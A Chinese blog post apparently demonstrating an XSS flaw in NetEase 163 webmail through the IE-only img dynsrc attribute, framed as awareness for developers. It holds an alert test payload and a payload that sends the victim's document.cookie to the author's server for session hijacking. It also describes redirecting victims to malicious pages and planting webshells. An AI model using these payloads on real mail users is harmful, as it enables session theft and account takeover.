邮箱跨站漏洞xss演示实例

网络上曾经有过关于XSS攻击与防御的文章,但是随着攻击技术的进步,以前的关于XSS攻击的看法与理论已经不能满足现在的攻击与防御的需要了,而且由于这种对于跨站脚本认识上的混乱,导致现在很多的程序都存在着XSS过滤不严的问题,希望本文能给写程序的和研究程序的带来一点思路。

这里要是以网易邮箱存在的XSS(跨站脚本)漏洞为例子。在解说漏洞以前,先普及一下相关知识。

首先先来看看跨站脚本漏洞的成因,所谓XSS漏洞它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。  

数据流程如下:

这样我们就可以清楚的看到Html代码是如何进入受害者浏览器的了,我们也就可以根据这个流程来讨论跨站脚本的攻击与防御了!

比较早的跨站用于获取cookie,早期许多web程序设计时cookie里明文保存了密码;当web程序采用session认证时,跨站又可以收集session从而达到与被害者一起登陆网站的目的;然而跨站最最大的危害是可以让用户不知不觉地访问一个恶意页面,从而被植入恶意程序或者执行恶意命令,破坏力是极大的。

返回正题,网易信箱经过多次折磨后在img图形标记上已经下了点功夫,把很多字符都转义或者过滤掉了。

这里省略掉若干失败和实验的过程,直接引入img的另一个标签dynsrc。格式为<img dynsrc=”url”&gt;,其中url可以为绝对地址或者相对地址;当然我们这里要使用脚本代码了。

需要说明的是:这个标签只在IE浏览器里正常运行。

让我们一起看下整个利用过程吧。

1.测试XSS

新建一个邮件,填好收件人和邮件主题,在正文的工具栏里有个勾选框可以编辑html格式的内容,如图:

勾选后输入如下内容:<img dynsrc=javascript:alert(“hi,163”)>,如图:

点击发送后再收取并打开刚刚的邮件,发现跳出一个对话框,很明显,在这里我们可以插入htm代码并成功运行。如图:

2.获取cookie测试

当然,破坏者们的目标不是仅仅让它跳个对话框出来给人们一个惊讶,他们会想办法获得些敏感信息,比如cookie。

看下取得cookie的实验吧。同样新建一个邮件,填好收件人与主题,并勾选“编辑源码”,在正文里写入如下语句:

如图:

然后发送并收取mail,看看是什么?对的,把cookie都显示出来了。如图:

3.session欺骗

上面只是一个测试,现在所讲的方法可以让攻击者在有效时间内登陆受害者的邮箱,这就是session欺骗。Session的默认有效时间是20分钟,当攻击者截取到session,同时受害者没有注销掉会话记录的时候,欺骗就成功了。

同样勾选“编辑源码”,填入以下内容:

<img dynsrc=javascript:window.location.href='http://chenpeng.info/getcookie.asp?msg='+document.cookie>。

意思是访问你的服务器上getcookie.asp文件,这个文件用于收取访问者的cookie,收取后在你的服务器上生成指定文件。如图:

getcookie.asp的源码是:

4. 最危险的利用

如果你认为这个漏洞的破坏程度这是这样那就错了,既然上面的利用可以让你访问任意文件,那么如果攻击者让你浏览的是病毒页面呢?可想而知,如果你的IE存在漏洞,那是非常危险的。这是简单演示下让收信人访问baidu网站。

勾选“编辑源码”,写入内容:

如图:

发送邮件并收取打开后如图:

很明显这是一个破坏力极大的漏洞(跨站)。

5. 其它利用

XSS并不只存在于邮件中,任何用户可以输入的地方都可能存在,如果过滤不严这将是很严重的,因为杀毒软件和防火墙都检测不到这种攻击行为。

在一些渗透过程中,攻击者用常构造复杂的而隐蔽的语句让管理员访问并执行,如备份数据库,备份获得webshell,添加管理员等等一系列恶意操作。

在文章中开始提到的数据流程可以看到,数据的转换和过滤是可以在3个地方进行转换的,在接受数据的时候可以转换下,在进入数据库的时候可以转换下,在输出数据的时候也可以转换下,但是困惑在哪里呢?不得不面对一个问题就是许多时候程序员舍不得为安全做出那么大的应用上的牺牲,安全是要有代价的,现在邮箱的就不愿意舍弃html标签,所以他们侧重于XSS的IDS检测的性质,只要发现不安全的东西就会转化,但是攻击是无法预知的,漂亮的东西总是脆弱的。只是希望能通过本文让搞安全的脚本人员更加的了解XSS跨站。

About 智足者富

http://chenpeng.info

发表评论

电子邮件地址不会被公开。 必填项已用*标注

您可以使用这些HTML标签和属性:

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>